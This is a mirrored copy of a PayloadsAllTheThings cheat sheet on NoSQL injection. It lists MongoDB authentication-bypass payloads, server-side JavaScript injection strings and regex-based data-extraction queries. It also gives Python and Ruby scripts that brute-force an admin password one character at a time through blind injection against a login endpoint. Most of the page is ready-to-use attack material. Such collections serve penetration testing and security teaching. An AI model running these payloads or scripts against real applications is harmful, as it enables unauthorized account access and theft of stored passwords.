mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-18 18:36:10 +00:00
222 lines
6.2 KiB
Markdown
222 lines
6.2 KiB
Markdown
# NoSQL Injection
|
|
|
|
> NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax.
|
|
|
|
## Summary
|
|
|
|
* [Tools](#tools)
|
|
* [Exploit](#exploits)
|
|
* [Authentication Bypass](#authentication-bypass)
|
|
* [Extract length information](#extract-length-information)
|
|
* [Extract data information](#extract-data-information)
|
|
* [Blind NoSQL](#blind-nosql)
|
|
* [POST with JSON body](#post-with-json-body)
|
|
* [POST with urlencoded body](#post-with-urlencoded-body)
|
|
* [GET](#get)
|
|
* [MongoDB Payloads](#mongodb-payloads)
|
|
* [References](#references)
|
|
|
|
## Tools
|
|
|
|
* [NoSQLmap - Automated NoSQL database enumeration and web application exploitation tool](https://github.com/codingo/NoSQLMap)
|
|
* [nosqlilab - A lab for playing with NoSQL Injection](https://github.com/digininja/nosqlilab)
|
|
* [Burp-NoSQLiScanner - Plugin available in burpsuite](https://github.com/matrix/Burp-NoSQLiScanner)
|
|
|
|
## Exploit
|
|
|
|
### Authentication Bypass
|
|
|
|
Basic authentication bypass using not equal ($ne) or greater ($gt)
|
|
|
|
```json
|
|
in DATA
|
|
username[$ne]=toto&password[$ne]=toto
|
|
login[$regex]=a.*&pass[$ne]=lol
|
|
login[$gt]=admin&login[$lt]=test&pass[$ne]=1
|
|
login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto
|
|
|
|
in JSON
|
|
{"username": {"$ne": null}, "password": {"$ne": null}}
|
|
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
|
|
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
|
|
{"username": {"$gt":""}, "password": {"$gt":""}}
|
|
```
|
|
|
|
### Extract length information
|
|
|
|
```json
|
|
username[$ne]=toto&password[$regex]=.{1}
|
|
username[$ne]=toto&password[$regex]=.{3}
|
|
```
|
|
|
|
### Extract data information
|
|
|
|
```json
|
|
in URL
|
|
username[$ne]=toto&password[$regex]=m.{2}
|
|
username[$ne]=toto&password[$regex]=md.{1}
|
|
username[$ne]=toto&password[$regex]=mdp
|
|
|
|
username[$ne]=toto&password[$regex]=m.*
|
|
username[$ne]=toto&password[$regex]=md.*
|
|
|
|
in JSON
|
|
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
|
|
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
|
|
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
|
|
```
|
|
|
|
Extract data with "in"
|
|
|
|
```json
|
|
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
|
|
```
|
|
|
|
### SSJI
|
|
|
|
```json
|
|
';return 'a'=='a' && ''=='
|
|
";return 'a'=='a' && ''=='
|
|
0;return true
|
|
```
|
|
|
|
|
|
## Blind NoSQL
|
|
|
|
### POST with JSON body
|
|
|
|
python script:
|
|
|
|
```python
|
|
import requests
|
|
import urllib3
|
|
import string
|
|
import urllib
|
|
urllib3.disable_warnings()
|
|
|
|
username="admin"
|
|
password=""
|
|
u="http://example.org/login"
|
|
headers={'content-type': 'application/json'}
|
|
|
|
while True:
|
|
for c in string.printable:
|
|
if c not in ['*','+','.','?','|']:
|
|
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
|
|
r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
|
|
if 'OK' in r.text or r.status_code == 302:
|
|
print("Found one more char : %s" % (password+c))
|
|
password += c
|
|
```
|
|
|
|
### POST with urlencoded body
|
|
|
|
python script:
|
|
|
|
```python
|
|
import requests
|
|
import urllib3
|
|
import string
|
|
import urllib
|
|
urllib3.disable_warnings()
|
|
|
|
username="admin"
|
|
password=""
|
|
u="http://example.org/login"
|
|
headers={'content-type': 'application/x-www-form-urlencoded'}
|
|
|
|
while True:
|
|
for c in string.printable:
|
|
if c not in ['*','+','.','?','|','&','$']:
|
|
payload='user=%s&pass[$regex]=^%s&remember=on' % (username, password + c)
|
|
r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
|
|
if r.status_code == 302 and r.headers['Location'] == '/dashboard':
|
|
print("Found one more char : %s" % (password+c))
|
|
password += c
|
|
```
|
|
|
|
### GET
|
|
|
|
python script:
|
|
|
|
```python
|
|
import requests
|
|
import urllib3
|
|
import string
|
|
import urllib
|
|
urllib3.disable_warnings()
|
|
|
|
username='admin'
|
|
password=''
|
|
u='http://example.org/login'
|
|
|
|
while True:
|
|
for c in string.printable:
|
|
if c not in ['*','+','.','?','|', '#', '&', '$']:
|
|
payload=f"?username={username}&password[$regex]=^{password + c}"
|
|
r = requests.get(u + payload)
|
|
if 'Yeah' in r.text:
|
|
print(f"Found one more char : {password+c}")
|
|
password += c
|
|
```
|
|
|
|
ruby script:
|
|
|
|
```ruby
|
|
require 'httpx'
|
|
|
|
username = 'admin'
|
|
password = ''
|
|
url = 'http://example.org/login'
|
|
# CHARSET = (?!..?~).to_a # all ASCII printable characters
|
|
CHARSET = [*'0'..'9',*'a'..'z','-'] # alphanumeric + '-'
|
|
GET_EXCLUDE = ['*','+','.','?','|', '#', '&', '$']
|
|
session = HTTPX.plugin(:persistent)
|
|
|
|
while true
|
|
CHARSET.each do |c|
|
|
unless GET_EXCLUDE.include?(c)
|
|
payload = "?username=#{username}&password[$regex]=^#{password + c}"
|
|
res = session.get(url + payload)
|
|
if res.body.to_s.match?('Yeah')
|
|
puts "Found one more char : #{password + c}"
|
|
password += c
|
|
end
|
|
end
|
|
end
|
|
end
|
|
```
|
|
|
|
## MongoDB Payloads
|
|
|
|
```bash
|
|
true, $where: '1 == 1'
|
|
, $where: '1 == 1'
|
|
$where: '1 == 1'
|
|
', $where: '1 == 1'
|
|
1, $where: '1 == 1'
|
|
{ $ne: 1 }
|
|
', $or: [ {}, { 'a':'a
|
|
' } ], $comment:'successful MongoDB injection'
|
|
db.injection.insert({success:1});
|
|
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|
|
|| 1==1
|
|
' && this.password.match(/.*/)//+%00
|
|
' && this.passwordzz.match(/.*/)//+%00
|
|
'%20%26%26%20this.password.match(/.*/)//+%00
|
|
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
|
|
{$gt: ''}
|
|
[$ne]=1
|
|
';return 'a'=='a' && ''=='
|
|
";return(true);var xyz='a
|
|
0;return true
|
|
```
|
|
|
|
## References
|
|
|
|
* [Les NOSQL injections Classique et Blind: Never trust user input - Geluchat](https://www.dailysecurity.fr/nosql-injections-classique-blind/)
|
|
* [Testing for NoSQL injection - OWASP/WSTG](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection)
|
|
* [NoSQL injection wordlists - cr0hn](https://github.com/cr0hn/nosqlinjection_wordlists)
|
|
* [NoSQL Injection in MongoDB - JUL 17, 2016 - Zanon](https://zanon.io/posts/nosql-injection-in-mongodb)
|
|
* [Burp-NoSQLiScanner](https://github.com/matrix/Burp-NoSQLiScanner/blob/main/src/burp/BurpExtender.java)
|